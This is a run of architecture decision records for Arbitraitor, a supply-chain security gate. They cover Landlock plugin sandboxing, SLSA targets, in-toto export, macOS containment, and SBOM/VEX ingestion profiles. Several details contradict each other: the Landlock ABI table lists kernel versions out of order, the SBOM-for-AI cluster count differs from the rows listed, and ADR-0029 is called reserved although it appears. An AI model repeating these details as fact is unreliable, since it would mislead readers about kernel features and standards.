seccomp_dataand classic BPF filter ABI
ADR 0021: Landlock filesystem isolation for subprocess plugins
Status: Accepted Date: 2026-06-23 Issue: #209
Context
ADR 0006 defines plugins as capability-bounded components and ADR 0011 treats community plugins as untrusted until proven otherwise. The Wasmtime Component Model path withholds ambient WASI filesystem access, but subprocess plugins run as native binaries under Arbitraitor’s user ID. Without an operating-system filesystem boundary, a subprocess plugin can read any file that user can read, including configuration, SSH material, token stores, and host metadata.
ADR 0020 added seccomp-BPF network isolation for subprocess plugins. Filesystem access needs a separate control because network denial does not prevent local secret discovery or later exfiltration through plugin output.
Decision
Install a Linux Landlock ruleset in the subprocess plugin child via pre_exec,
after resource limits, network isolation, and the general process sandbox have
been registered. The ruleset handles all Landlock filesystem access bits known
to the running kernel ABI and denies governed access by default.
The executor grants read/execute access to the plugin binary’s parent directory
and common dynamic-linker runtime directories (/bin, /usr/bin, /lib,
/lib64, /usr/lib, /usr/lib64) so dynamically-linked plugin binaries can
start without allowing /etc or user home directories. If the caller supplies a
plugin working directory, the child receives read/write/create/remove/execute
access beneath that directory. All other governed filesystem accesses fail with
the Landlock EACCES behavior.
Use raw Linux syscalls through libc rather than adding liblandlock, libseccomp,
or another native dependency. The sandbox crate owns the unsafe FFI boundary;
plugin-host remains forbid(unsafe_code) and invokes only safe wrappers.
Linux kernels before Landlock support (5.13) degrade gracefully: the hook returns success without installing a ruleset, and callers must treat filesystem isolation as unavailable on those hosts rather than claiming enforcement.
Consequences
- Supported Linux hosts now deny subprocess plugins ambient access to
/etc, home directories, and other undeclared filesystem paths. - Dynamically-linked plugins still start because read/execute grants cover the common ELF interpreter and shared-library search paths.
- Working-directory access becomes explicit and bounded beneath the configured directory instead of inheriting all same-UID filesystem privileges.
- Unsupported kernels and non-Linux platforms still require a platform-specific enforcement mechanism before they can claim subprocess plugin filesystem isolation.
Alternatives considered
- Require statically-linked plugins only: Rejected for now. It would simplify Landlock rules but would break existing dynamically-linked subprocess plugins and tests.
- Allow read access to all of
/: Rejected. It preserves compatibility but fails the security goal by continuing to expose host secrets. - Parse ELF dependencies per plugin: Deferred. It would reduce runtime read grants but adds format parsing and linker-policy complexity to the spawn path.
- liblandlock or a Rust Landlock crate: Rejected. Raw syscalls are small, already consistent with the seccomp sandbox, and avoid a new security-boundary dependency.
References
- ADR 0006 — Wasmtime Component Model for plugins
- ADR 0011 — Plugin trust classification model
- ADR 0020 — Seccomp-BPF network isolation for subprocess plugins
- Linux
landlock_create_ruleset(2),landlock_add_rule(2), andlandlock_restrict_self(2)
ADR 0022: SLSA Build Level target for Arbitraitor releases
Status: Accepted Date: 2026-06-29 Issue: #272
Context
Spec v0.5 §14.6 commits Arbitraitor’s own releases to targeting SLSA Build Level 3. SLSA (Supply-chain Levels for Software Artifacts) v1.2 defines separate Build and Source tracks. Build L3 requires a hardened build platform with provenance that is non-forgeable.
Currently Arbitraitor uses GitHub Actions hosted runners, pinned actions by SHA, and GitHub artifact attestations for build provenance. This meets SLSA Build L1 (provenance available). The path to L2 (hosted build service) and L3 (non-forgeable hermetic boundary) requires additional work documented below.
Decision
Arbitraitor v0.5 releases self-describe as SLSA Build L2. The v0.6 target is L3, contingent on:
- Hermetic builds: all dependencies fetched before build; no network
access during compilation step. Achieved via
cargo build --offlineaftercargo fetch. - Provenance generation: SLSA Provenance v1 statement
(
predicateType: https://slsa.dev/provenance/v1) withbuildDefinition.buildType,runDetails.builder.id, andresolvedDependenciespopulated. - Non-forgeable provenance: the provenance statement is signed and
published as a GitHub artifact attestation verifiable via
gh attestation verify. - Reproducibility evidence: a second build from the same source produces bit-identical artifacts, or a documented explanation of unavoidable variance.
- Isolated release workflow: release jobs run only from protected tags, use OIDC trusted publishing, and share no writable caches with PR workflows.
Consequences
- Release pipeline complexity increases (offline build, provenance generation).
- Reproducibility may require
CARGO_PROFILE_RELEASE_DEBUG=0andSOURCE_DATE_EPOCHnormalization. - Until all five criteria are met, releases must not claim L3.
Source Track consumption
SLSA v1.2 adds a Source Track for evidence about how source revisions are authored, reviewed, and accepted:
- Source L1 (version controlled): the source revision is managed by a version control system and is uniquely identifiable.
- Source L2 (history and provenance): continuous change history and tamper-resistant source provenance record when and how a revision was created, including source-contributor identity and enforced controls.
- Source L3 (continuous technical controls): the source control system continuously enforces declared controls on protected references, such as branch-protection rules, required status checks, and review requirements.
The final v1.2 specification defines mandatory two-party review at Source L4. Arbitraitor consumes explicit two-party-review evidence when available, but must not infer it from Source L3 alone.
A verified Source L2+ VSA and its supporting provenance, bound to the exact source revision, is a stronger provenance signal than Build L1 alone: Build L1 shows that build provenance exists, while Source L2+ also supplies source-authoring history, contributor identity, and control evidence. This signal is additive. It does not raise the artifact’s Build level or replace verification of the build provenance, attestation issuer, or subject digest.
Alternatives considered
- L1 only (status field): insufficient for a security boundary tool.
- L3 immediately: unverifiable without offline build and reproducibility evidence.
References
- SLSA v1.2 announcement: https://slsa.dev/blog/2025/11/announce-slsa-v1.2
- SLSA v1.2 specification: https://slsa.dev/spec/v1.2/
- SLSA v1.2 changes: https://slsa.dev/spec/v1.2/whats-new
- SLSA Build Provenance: https://slsa.dev/spec/v1.2/build-provenance
- SLSA Build Levels: https://slsa.dev/spec/v1.2/levels
- GitHub artifact attestations: https://docs.github.com/actions/how-tos/secure-your-work/use-artifact-attestations
- Spec §14.6, §44
ADR 0023: in-toto Statement receipt envelope
Status: Accepted Date: 2026-06-29 Issue: #273
Context
Arbitraitor receipts are RFC 8785 JCS canonicalized JSON (ADR-0014). For
interoperability with supply-chain tools (GUAC, Sigstore, in-toto verifylib,
dependency-management platforms), receipts should be exportable as in-toto
Statements per ITE-6 (_type: https://in-toto.io/Statement/v1).
Changing the canonical receipt format would be a breaking change and risk schema churn. The question is whether to wrap receipts in in-toto Statements canonically or as an optional derived export.
Decision
The canonical Arbitraitor receipt format is RFC 8785 JCS JSON (ADR-0014). This ADR proposes adding an optional derived export as an in-toto Statement:
{
"_type": "https://in-toto.io/Statement/v1",
"subject": [{ "name": "sha256:...", "digest": { "sha256": "..." } }],
"predicateType": "https://arbitraitor.dev/verdict/v1",
"predicate": { /* full Arbitraitor receipt object */ }
}
Two predicate types are defined:
https://arbitraitor.dev/verdict/v1: the verdict receipthttps://arbitraitor.dev/payload-graph/v1: the payload graph alone
The Statement is signed via DSSE (Dead Simple Signing Envelope) per in-toto conventions, using the same key/capability as the canonical receipt.
The export is requested via arbitraitor inspect --receipt receipt.json --export-intoto statement.json or the daemon library API.
Anti-forgery: the in-toto export includes the canonical receipt’s own
signature in predicate.provenance.receipt_signature so downstream
consumers can detect mismatch between Statement and receipt.
Consequences
- Receipts remain backward-compatible (no schema change).
- GUAC and other in-toto-compatible tools can ingest Arbitraitor receipts natively.
- The export is a separate code path that must be maintained and tested.
- DSSE signature verification adds a dependency or requires manual verification logic.
Alternatives considered
- Canonical in-toto envelope (replacing JCS): breaking change, high risk.
- No in-toto support: limits interoperability with supply-chain platforms.
References
- ITE-6 Attestation Framework: https://github.com/in-toto/attestation/blob/main/spec/v1/README.md
- DSSE: https://github.com/secure-systems-lab/dsse
- ADR-0014 (receipt canonicalization), Spec §31.3.1
ADR 0024: macOS containment strategy
Status: Accepted Date: 2026-06-29 Issue: #279
Context
Spec §27.4 states macOS supports only inspect and mediated assurance
until a containment ADR is accepted. Apple deprecated sandbox-exec with
no documented replacement for non-App-Store server-side process sandboxing
(Apple containerization issue 737).
The Endpoint Security framework (introduced macOS Catalina, es_subscribe,
~60 MAC hooks) provides observation and authorization events
(es_respond_auth_result can allow/deny some operations), but it is not a
complete containment primitive — it lacks network sandbox coverage and is
not a declarative filesystem/network/process boundary like Linux namespaces
or seccomp. It is distributed as a Developer ID-signed System Extension (not
Mac App Store), requires notarization, and its audit subsystem is deprecated
in favor of unified logging.
App Sandbox requires com.apple.security.app-sandbox entitlement and is
designed for GUI/Mac-App-Store apps, not headless CLI tools.
Decision
macOS containment ADR is deferred until one of the following primitives becomes available:
- Apple Containerization
DarwinProcesslite isolation — currently an open research question (issue 737, May 2026). - Disposable VM via Virtualization.framework — heavyweight but proven; requires a separate VM image management story.
- External helper using a non-App-Store System Extension — requires Developer ID signing and an end-user install consent flow, with Endpoint Security for observation paired with an external sandbox mechanism.
Until the ADR is Accepted:
- macOS supports
inspectandmediatedassurance only. - Contained assurance requests on macOS must downgrade to
mediated(orblockper policy) — the receipt’s effective-controls matrix (§27.7) recordsfilesystem_isolation,network_isolation,process_tree_containment, andprivilege_suppressionasunavailable. - The
arbitraitor doctorcommand reports macOS containment asunavailable — ADR pending.
For observation mode (sandbox: observe), the Endpoint Security framework
via System Extension is the supported path. This provides process-tree,
file-access, and network-connection observation events (§27.6). The ES AUTH
events may allow/deny some operations, but coverage is incomplete and not
equivalent to a full containment profile.
Consequences
- macOS users cannot claim
containedassurance — onlyinspectormediated. - Enterprise deployments requiring
containedassurance on macOS must use disposable VMs or wait for platform support. - The receipt must be honest about the platform’s limitations (ADR-0007).
- No native macOS sandbox code is shipped until this ADR is Accepted.
Alternatives considered
- Ship
sandbox-execprofiles anyway: deprecated, unreliable, Apple explicitly discourages third-party use. - Require HyperKit/disposable VM for all macOS
containedrequests: heavyweight, poor UX, but defensible for enterprise. - Port to App Sandbox: requires GUI app packaging, not suitable for a headless CLI security gate.
References
- Endpoint Security framework: https://developer.apple.com/videos/play/wwdc2020/10159/
- Apple containerization issue 737: https://github.com/apple/containerization/issues/737
- Spec §27.4, §27.7, ADR-0007 (assurance levels), ADR-0010 (provenance)
ADR 0025: OpenSSF Scorecard, deps.dev, and GUAC as optional integrations
Status: Accepted Date: 2026-06-29 Issue: #275
Context
Spec v0.5 §21.8 and §21.9 describe project-posture signals (OpenSSF Scorecard, deps.dev) and supply-chain graph query (GUAC) as optional enterprise integrations. These tools provide independent signals about a project’s security posture that complement artifact-level signals (hash, signature, reputation).
GUAC (Graph for Understanding Artifact Composition) v1.1.0 aggregates SBOM, DSSE, deps.dev, in-toto ITE-6, Scorecard, OSV, SLSA, SPDX, CSAF VEX, and OpenVEX into a queryable graph. It is a separate service, not a library.
Decision
These are proposed optional enterprise integrations, not implemented or required core Arbitraitor capabilities:
-
OpenSSF Scorecard — Arbitraitor would consume Scorecard results as a detector input (advisory, never authoritative). This requires the artifact’s source repository to be resolvable. When unresolvable, the signal would be
unavailable— neverpassing. -
deps.dev — provides license info, package deprecation, and dependency resolution depth. Consumed as a supplementary signal alongside OSV/KEV (§18.5).
-
GUAC — Arbitraitor receipts (via the optional in-toto export, ADR-0023) are ingestible by GUAC as DSSE-wrapped in-toto Statements. An enterprise deploys GUAC separately and queries it across all supply-chain artifacts. Arbitraitor does not embed or require GUAC.
Arbitraitor operates fully without any of these integrations. Receipts do not depend on their availability (§3.10: “fail closed for enforcement, fail explainably for tooling”).
Consequences
- No new hard dependencies. Scorecard/deps.dev data is fetched via HTTP when policy opts in; GUAC is an external service.
- Enterprise users gain supply-chain graph queryability without Arbitraitor embedding the tooling.
- Scorecard posture is one signal among many — it never authorizes release (invariant 5, invariant 22) and never overrides malware findings (invariant 21).
Alternatives considered
- Embed GUAC as a library: would add significant dependency surface and architectural coupling for a feature that only benefits enterprise users.
- Require Scorecard for all artifacts: most artifacts’ source repos are
unresolvable; would produce
incompleteverdicts for legitimate downloads.
References
- OpenSSF Scorecard: https://scorecard.dev/
- deps.dev API: https://docs.deps.dev/api/
- GUAC: https://github.com/guacsec/guac
- Spec §21.8, §21.9, §46.1
ADR 0026: EU CRA / NIST SSDF informational compliance mapping
Status: Accepted Date: 2026-06-29 Issue: #276
Context
The EU Cyber Resilience Act (Reg 2024/2847) enters force December 2024 with vulnerability reporting obligations applying from September 2026 and full applicability from December 2027. Annex I Part II requires a machine-readable SBOM of top-level dependencies. Article 14 mandates 24h/72h/14d vulnerability reporting to CSIRTs/ENISA.
The US Executive Order 14028, OMB M-22-18, and OMB M-23-09 require federal software vendors to self-attest to NIST SSDF (SP 800-218) conformance.
Arbitraitor’s spec §44.1 describes an informational compliance mapping, not a normative self-attestation. Normative claims require legal and process evidence the spec cannot define.
Decision
Arbitraitor provides an informational evidence matrix mapping current controls to CRA and SSDF language. The matrix documents what Arbitraitor does (not what it satisfies):
EU CRA mapping (informational)
| CRA Requirement | Arbitraitor Control (planned) |
|---|---|
| Annex I Part II: SBOM in machine-readable format | Target: CycloneDX SBOM via cargo-cyclonedx for Arbitraitor releases (§44) |
| Article 14: 24h/72h/14d vulnerability reporting | SECURITY.md directs reports to GitHub private vulnerability reporting; reporting cadence is an operational responsibility, not a code feature |
| Recital 77: SBOM need not be public | SBOM would be attached to releases but not published to a public registry |
NIST SSDF mapping (informational)
| SSDF Practice | Arbitraitor Control (current or planned) |
|---|---|
| PO.5.1 (define security requirements) | Spec §9 security invariants; ADRs for every security-relevant decision |
| PS.1.1 (protect components from tampering) | SHA-256 CAS with invariant 2 (immutable identity) |
| PS.2.1 (automated build) | GitHub Actions; target: pin actions by SHA for all workflows |
| PS.3.2 (provenance) | Target: GitHub artifact attestations; SLSA Build L2 target (ADR-0022) |
| PW.4.4 (review human-readable code) | CODEOWNERS with security-owner review for sensitive paths |
| PW.5.1 (code-based configuration) | TOML configuration with deny_unknown_fields (ADR-0004) |
| PW.6.2 (test cases) | 900+ tests across unit, property, integration, invariant, and fuzz layers |
| PW.7.1 (build from separate environment) | Target: --locked release builds from protected tags |
| PW.8.2 (static analysis) | Clippy with -D warnings; CodeQL; YARA-X for artifact content |
| RV.1.1 (identify vulnerabilities) | cargo-audit, cargo-deny (planned); GitHub dependency review |
| RV.3.2 (root-cause analysis) | Receipts provide full audit trail; ADRs document decisions |
This mapping is informational, not a procurement self-attestation. The word “satisfies” is deliberately avoided.
Consequences
- Arbitraitor can be cited in federal procurement context as having SSDF controls mapped, but the mapping is not a legal self-attestation.
- The matrix must be maintained as controls evolve.
- CRA vulnerability-reporting cadence (Article 14) is an operational responsibility, not a code feature — the mapping notes this explicitly.
Alternatives considered
- Normative self-attestation: requires legal review and process evidence; premature for a pre-1.0 project.
- No mapping at all: limits enterprise adoption credibility.
References
- EU CRA: https://eur-lex.europa.eu/eli/reg/2024/2847/oj/eng
- NIST SSDF: https://csrc.nist.gov/pubs/sp/800/218/final
- OMB M-23-09: https://www.whitehouse.gov/wp-content/uploads/2022/09/M-23-09-Memo-on-Self-Attestation.pdf
- Spec §44.1
ADR 0027: CLI inspect pipeline boundary
Status: Accepted Date: 2026-07-19 Issue: #436
Context
docs/conventions.md defines arbitraitor-cli as responsible for argument
parsing, output formatting, and user interaction. The inspect command had grown
pipeline orchestration directly inside main.rs: fetch policy construction,
source parsing, retrieval, CAS storage, analysis coordinator setup, provenance
verification, and receipt assembly.
That made the CLI entry point harder to review against the crate boundary and mixed dispatch/output concerns with inspect pipeline state transitions.
Decision
Extract inspect pipeline orchestration from crates/arbitraitor-cli/src/main.rs
into crates/arbitraitor-cli/src/pipeline.rs.
main.rs remains responsible for CLI parsing, command dispatch, and inspect
output formatting helpers. The new pipeline module owns the inspect-related
orchestration helpers within the CLI crate until the core state machine can own
the pipeline more fully.
Consequences
main.rsbecomes smaller and easier to audit for CLI-only responsibilities.- Inspect orchestration has a named module boundary, making future movement into
arbitraitor-coreeasier. - Runtime behavior, command-line arguments, receipts, and public CLI output stay unchanged.
- Other command business logic (
wrapper_fetch,unpack,intel) remains in place and requires separate follow-up decisions if moved later.
Alternatives considered
- Move orchestration directly to
arbitraitor-core: better final boundary, but larger than this focused refactor because it would require cross-crate API design for CLI output hooks, rule loading, and receipt emission. - Leave orchestration in
main.rs: preserves status quo, but continues to violate the documented CLI crate responsibility and keeps the entry point too large.
References
docs/conventions.mdcrate responsibility table- Issue #436
ADR 0028: Landlock ABI Probe and Receipt Recording
Status: Accepted Date: 2026-07-20 Issue: #466
Context
Spec §27.3 requires Linux Landlock for contained execution. Current kernels expose an expanding Landlock UAPI, and receipt consumers need to know which ABI the host reported when untrusted code executed. Issue #466 tracks adding that observable signal without changing enforcement semantics in the same step.
Landlock ABI versions relevant to Arbitraitor:
| ABI | Kernel | Added controls |
|---|---|---|
| v1 | 5.13 | Initial filesystem restrictions |
| v2 | 5.19 | File modes isolation |
| v3 | 6.2 | Truncate / ioctl restrictions |
| v4 | 6.7 | TCP connect/bind |
| v5 | 6.10 | IOCTL device |
| v6 | 6.12 | Signal scope + abstract UNIX socket |
| v7 | 6.15 | Audit log |
| v8 | 7.0-rc | LANDLOCK_RESTRICT_SELF_TSYNC |
| v9 | 6.13+ downstream patches | RESOLVE_UNIX |
| v10 | 6.16 | UDP connect/bind |
Decision
Arbitraitor probes the running kernel at runtime with
landlock_create_ruleset(NULL, 0, LANDLOCK_CREATE_RULESET_VERSION). The return
value is represented as LandlockAbiVersion and may be copied into
contained-execution effective-control receipts when filesystem isolation is
backed by Landlock.
This ADR is record-only. It does not set minimum acceptable ABI versions, change verdict downgrades, or claim TCP/UDP/signal/audit enforcement. Current enforcement remains limited to the filesystem access rights already installed by the sandbox crate; ABI v4+ semantics are recorded only until a follow-up policy matrix defines and tests sub-control behavior.
Consequences
- Receipt consumers can audit whether a contained run observed Landlock v1-v10 or a future non-zero ABI.
- Future Landlock controls can be represented before Arbitraitor claims their enforcement semantics.
- Linux hosts without Landlock report no ABI, forcing callers to treat filesystem isolation as unavailable when containment is mandatory.
- macOS and Windows report no Landlock ABI; their platform strategies remain governed by their dedicated ADRs.
- A follow-up ADR or issue must define the Landlock ABI policy matrix before Arbitraitor uses ABI v4+ features for assurance-level decisions.
Alternatives considered
- Kernel release parsing. Rejected because backports and downstream patches make release strings less authoritative than the Landlock UAPI probe.
- Compile-time ABI constants only. Rejected because the host kernel, not the build machine, determines the effective sandbox controls.
- Failing on ABI below v6 unconditionally. Rejected for this change because issue #466 only introduces probing and receipt exposure; minimum-version policy belongs in the planned matrix.
References
- Linux
landlock_create_ruleset(2) - Spec §27.3, §27.7
- ADR-0007: Assurance levels model
- ADR-0021: Landlock filesystem isolation for subprocess plugins
ADR 0029: VEX format support matrix
Status: Accepted Date: 2026-07-20 Issue: #468
Context
Arbitraitor consumes VEX companion artifacts as provenance evidence for package-risk findings. The supported formats must be explicit because older OpenVEX drafts used different product and vulnerability shapes, CSAF 2.0 is now ISO/IEC 20153, and CSAF 2.1 adds fields such as CVSS v4 and company involvements.
Decision
Arbitraitor supports this matrix for VEX companion artifacts:
| Format | Status | Notes |
|---|---|---|
| OpenVEX 0.0.x | Rejected | Missing or legacy context defaults are ambiguous and predate the 0.2.0 product/vulnerability structs. |
| OpenVEX 0.1.x | Deprecated/rejected | Consumers must publish 0.2.0 documents for Arbitraitor ingestion. |
| OpenVEX 0.2.0 | Supported | Required @context is https://openvex.dev/ns/v0.2.0; products use the products array with product structs; vulnerabilities use the expanded vulnerability struct. |
| CSAF 1.x | Rejected | Legacy CSAF documents are outside the VEX profile support boundary. |
| CSAF 2.0 | Supported | CSAF VEX profile documents are accepted as ISO/IEC 20153-compatible input. |
| CSAF 2.1 | Preferred | CSAF VEX profile documents are accepted with CVSS v4 vector strings and involvement statements. |
The model crate exposes typed format-version labels so downstream policy can distinguish accepted and rejected formats without relying on raw strings.
Consequences
- Unknown fields in security-critical VEX input structs are rejected by serde where the external schemas are modeled.
- Older OpenVEX documents fail closed with a clear unsupported-context error.
- CSAF VEX feeds are first-class intelligence sources for §21.4 source-class policy.
- CSAF 2.1 can preserve CVSS v4 and company-involvement evidence for receipts and future policy decisions.
Alternatives considered
- Accept OpenVEX 0.0.x/0.1.x and normalize legacy
productstring fields. Rejected because it would preserve ambiguous drafts after a breaking schema update. - Treat CSAF VEX as a generic authoritative feed. Rejected because §21.4 needs a first-class CSAF source class for auditability.
- Add a full CSAF schema dependency. Rejected for this change because the workspace already has serde and the issue only requires the VEX profile subset.
References
- OpenVEX 0.2.0 specification: https://github.com/openvex/spec/blob/main/OPENVEX-SPEC.md
- CSAF 2.1 specification: https://docs.oasis-open.org/csaf/csaf/v2.1/csaf-v2.1.html
- CSAF 2.0 ISO/IEC 20153 approval announcement: https://www.oasis-open.org/2025/05/20/csaf-2-0-approved-as-iso-iec-20153/
ADR 0030: SBOM/VEX ingestion profiles
Status: Accepted Date: 2026-07-20 Issue: #467
Context
Spec §19.5 mentions SBOM and VEX ingestion in a single sentence. The CISA SBOM Minimum Elements guidance was updated in August 2025, and CISA + G7 published SBOM for AI: Minimum Elements in May 2026. Neither revision is enumerated in the spec, and no per-format ingestion profile exists.
CISA 2025 SBOM minimum elements
The August 2025 revision adds four data fields and renames two existing ones, against the original 2024 NTIS minimum-elements list:
| 2024 field | 2025 status |
|---|---|
| Supplier Name | Renamed to Software Producer |
| Component Name | Unchanged |
| Version of Component | Unchanged |
| Other Unique Identifiers (PURL, CPE) | Unchanged |
| Dependency Relationship | Unchanged |
| Author of SBOM Data | Unchanged |
| Timestamp | Unchanged |
| Depth | Renamed to Coverage |
| — | New: Component Hash |
| — | New: License (declared and concluded, SPDX-License-Expression) |
| — | New: Tool Name (generator identity and version) |
| — | New: Generation Context (build-time, source, deployed, other) |
These shape every SBOM an upstream producer can publish, and shape the profile Arbitraitor expects when ingesting one.
May 2026 SBOM-for-AI (CISA + G7)
The May 2026 SBOM-for-AI guidance introduces seven AI-specific clusters on top of the 2025 minimum elements:
| Cluster | Examples |
|---|---|
| System-Level Properties | System name, system version, system type, deployment context |
| Data Properties | Dataset name, dataset version, data modality, dataset license, sensitive-data indicators |
| Model Properties | Model name, model version, model architecture, parameter count, fine-tuning data references, evaluation metrics |
| Infrastructure | Compute substrate (accelerator type, count, memory), serving stack, hosting provider |
| Security Properties | Model signing (e.g., Signet, Sigstore for models), access-control posture, adversarial-robustness evidence, prompt-injection mitigations |
These clusters map to CycloneDX ML-BOM (CDXA), SPDX 2.2.1 with the AI extension, and to OpenSSF AI/ML Profile work; CSAF 2.1 carries security advisory context for the same components.
EU CRA SBOM-shape mandate
EU CRA Reg 2024/2847 Annex I Part II requires a machine-readable SBOM of top-level dependencies for products with digital elements placed on the EU market. The 2025 minimum-element shape is the de facto target the European Commission has cited in implementing guidance. The mandate is informational for Arbitraitor’s scope: it shapes what enterprise users will receive from upstream producers and need to ingest.
Adjacent standards
- CSAF 2.0 (OASIS Standard, ISO/IEC 20153:2025) carries VEX and security advisory content keyed by PURL/CPE; the same identifiers SBOMs use.
- CSAF 2.1 (OASIS CSD02, Feb 2026; not yet ISO) is the candidate
successor. Arbitraitor accepts both; CSAF 2.1 features (
cvss v4,involvementsstatuses) are recognized when present. - OpenVEX 0.2.0 (OpenSSF VEX WG) is a minimal VEX format that links an advisory to a product/version and a status. ADR-0029 is reserved for OpenVEX ingestion specifics once that work opens.
- SPDX 2.2.1 (Linux Foundation, ISO/IEC 5962:2021) is the SPDX standard. Its field model differs from CycloneDX; a per-field mapping is required.
- CycloneDX 1.6+ (OWASP) supports the application profile, the Cryptographic Bill of Materials (CBOM), and the ML/AI Bill of Materials (CDXA).
Why this is an ADR and not a spec edit
The spec (docs/spec.md, gitignored) is a design draft. The ingestion
profile is a binding contract: once accepted, the field expectations for
each format shape detector output, receipt metadata, and plugin
contracts. Changing the profile later requires a superseding ADR. The
shape is also expensive to reverse because it crosses SBOM parsing,
receipt schema, and downstream GUAC consumers (ADR-0025).
Decision
Arbitraitor ingests SBOM and VEX documents but does not generate them. The ingestion surface is read-only and lives at the policy / provenance boundary (spec §19.5). Four formats are supported as first-class profiles; everything else is rejected with a typed error.
Read-only ingestion
Arbitraitor never produces, mutates, signs, or republishes an SBOM or VEX artifact. Generation is delegated to dedicated tooling (cargo-cyclonedx, syft, spdx-tools, cdxgen, openvexgen, csaf-tooling). Rationale:
- Generation requires build-system integration that varies per ecosystem.
Cargo, npm, pnpm, uv, and PyPI each need a different generator and
signing flow. ADR-0026 already names
cargo-cyclonedxas the Arbitraitor self-release generator. Adding ingestion is enough for the current spec. - VEX generation is the producer’s responsibility. CSAF 2.1 producers (vendors and CSIRTs) sign their own documents; re-signing or translating OpenVEX to CSAF introduces a separate trust boundary.
- Receipts already encode the canonical identity (CAS digest, spec §3.10) and the signed in-toto envelope (ADR-0023). Adding a separately signed SBOM profile duplicates that authority.
Per-format profiles
Each format profile declares the minimum fields Arbitraitor requires to project a document into the provenance graph and the detector input stream. Documents missing required fields are rejected with a typed error and the partial parse is recorded in the receipt.
CycloneDX 1.6+ (CDX)
Required: bomFormat = "CycloneDX", specVersion >= "1.6",
metadata.timestamp, metadata.tools, metadata.component (when
present), serialNumber, components[].bom-ref, components[].type,
components[].name, components[].version, components[].purl,
components[].hashes[], components[].licenses[] (declared), and
dependencies[] (per component, supports the 2025 Coverage field).
Profile-aware extensions accepted when present:
| Extension | Fields surfaced to detectors |
|---|---|
| Application profile (CDX-A) | externalReferences[] of type release-notes, vcs, issue-tracker, documentation |
| Cryptographic Bill of Materials (CBOM) | components[].cryptoProperties (algorithm, certificate, key, curve, usage) |
| ML/AI Bill of Materials (CDXA) | components[].modelCard (task, inputs, outputs), components[].trainingData, components[].modelParameters, components[].evaluationData |
The CBOM extension is parsed because crypto-property assertions are material to the receipt’s cryptographic provenance claims. The CDXA extension is parsed only when the SBOM is tagged with the ML/AI profile and is treated as an advisory signal (not authoritative), consistent with invariant 22 (advisory data never authorizes release).
SPDX 2.2.1
Required: spdxVersion = "SPDX-2.2.1", SPDXID on the document and every
package, creationInfo.created, creationInfo.creators[],
creationInfo.licenseListVersion, name, dataLicense, packages[] and
relationships[].
Field mapping to the CISA 2025 minimum elements:
| CISA 2025 field | SPDX 2.2.1 path |
|---|---|
| Software Producer | packages[].supplier (or originator when supplier absent) |
| Component Name | packages[].name |
| Version of Component | packages[].versionInfo |
| Other Unique Identifiers | packages[].externalRefs[] of type purl or cpe22Type |
| Dependency Relationship | relationships[] of type dependsOn / buildDependsOn |
| Author of SBOM Data | creationInfo.creators[] |
| Timestamp | creationInfo.created |
| Coverage | packages[].annotations[] of type coverage and/or relationships[] breadth |
| Component Hash | packages[].checksums[] |
| License (declared) | packages[].licenseDeclared |
| License (concluded) | packages[].licenseConcluded |
| Tool Name | creationInfo.creators[] filtered by the SPDX Tool: creator prefix |
| Generation Context | packages[].annotations[] of type generationContext |
SPDX Lite (the reduced profile) is rejected: it omits hashes and the
full relationships[] graph, both of which the CISA 2025 minimum
elements require.
OpenVEX 0.2.0
Required: @context (OpenVEX 0.2.0 namespace), @id (per document),
author, version, timestamp, statements[] with vulnerability.name
(CVE or GHSA), products[] keyed by identifier. The tooling field is
optional. Valid status values per the OpenVEX 0.2.0 spec are only:
not_affected, affected, fixed, under_investigation. Any other
status value is rejected as fail-closed per Invariant 6.
OpenVEX is VEX-only and carries no SBOM fields. It is accepted alongside the SBOM and indexed by PURL. Detailed VEX semantics (status projection into detector findings, status revocation handling) are reserved for ADR-0029 (forward reference; that ADR opens when OpenVEX ingestion is implemented).
CSAF 2.0 (ISO/IEC 20153:2025) and CSAF 2.1 (OASIS CSD02)
Required: document type csaf_vex (or csaf_security_advisory when
no VEX payload is present), /document/tracking/id (UUID),
/document/tracking/status, /document/publisher,
/vulnerabilities[] keyed by CVE, /product_tree/branches[].product
keyed by PURL or CPE.
CSAF VEX statements are projected into the same status surface as
OpenVEX. CSAF also carries security advisory content (CVSS scoring,
references, acknowledgements) that Arbitraitor records in the receipt
metadata. Signed CSAF documents (CMS over JSON, RFC 7468) are accepted
when the publisher signature verifies against a configured trust root;
unsigned CSAF is accepted with a incomplete provenance flag.
AI-cluster ingestion
When a CycloneDX SBOM is tagged with the CDXA extension or the SPDX
document declares the AI extension (Annotations with
spdx.org:AI namespace), Arbitraitor surfaces the seven SBOM-for-AI
clusters (Metadata, System Level Properties, Models, Dataset Properties,
Infrastructure, Security Properties, KPI) into the receipt under a structured
sbom.ai_clusters envelope:
sbom.ai_clusters:
system_level: [...] # System Level Properties cluster
models: [...] # Models cluster
dataset: [...] # Dataset Properties cluster
infrastructure: [...] # Infrastructure cluster
security: [...] # Security Properties cluster
kpi: [...] # KPI cluster
metadata: [...] # Metadata cluster
Receipt consumers (GUAC ingest via ADR-0025, downstream CVE matchers) treat AI clusters as advisory signals. They never authorize release (invariant 22) and never override malware findings (invariant 21).
EU CRA alignment
EU CRA Annex I Part II takes effect for products placed on the EU market from 11 December 2027. Arbitraitor’s 2025 minimum-element profile is sufficient to consume a CRA-shaped SBOM at that date; the machine-readable format the Commission cites in implementing guidance is either SPDX 2.2.1 or CycloneDX 1.6+. Both profiles above accept CRA-shaped documents unmodified. Arbitraitor does not produce a CRA self-attestation; ADR-0026 covers the informational compliance mapping.
Ingestion flow
flowchart LR
A[SBOM/VEX document] --> B[Content identification<br/>JSON / XML / CBOR probe]
B --> C{Format detected}
C -->|CycloneDX 1.6+| D[CDX profile<br/>+ optional CDXA / CBOM]
C -->|SPDX 2.2.1| E[SPDX profile<br/>field mapping]
C -->|OpenVEX 0.2.0| F[OpenVEX profile<br/>PURL-keyed]
C -->|CSAF 2.1| G[CSAF profile<br/>VEX + advisory]
C -->|other| H[Reject<br/>typed error]
D --> I[Project into provenance graph<br/>+ receipt sbom.ai_clusters envelope]
E --> I
F --> I
G --> I
I --> J[Detector input stream<br/>advisory signals only]
I --> K[Receipt metadata<br/>RFC 8785 JCS]
Detection of the format is by bomFormat, spdxVersion,
@context, and /document/category discriminators in that order. A
document claiming two formats (e.g., SPDX-tagged CycloneDX) is
rejected. The format probe is bounded (size + parser timeouts) per
invariant 4.
Failure modes
| Failure | Result | Receipt state |
|---|---|---|
| Unknown format | Reject, typed error | No SBOM metadata recorded |
| Required field absent | Reject, typed error | Partial parse recorded under sbom.partial |
| Extension tagged but malformed | Accept parent profile, drop extension | sbom.extensions_dropped lists dropped extensions |
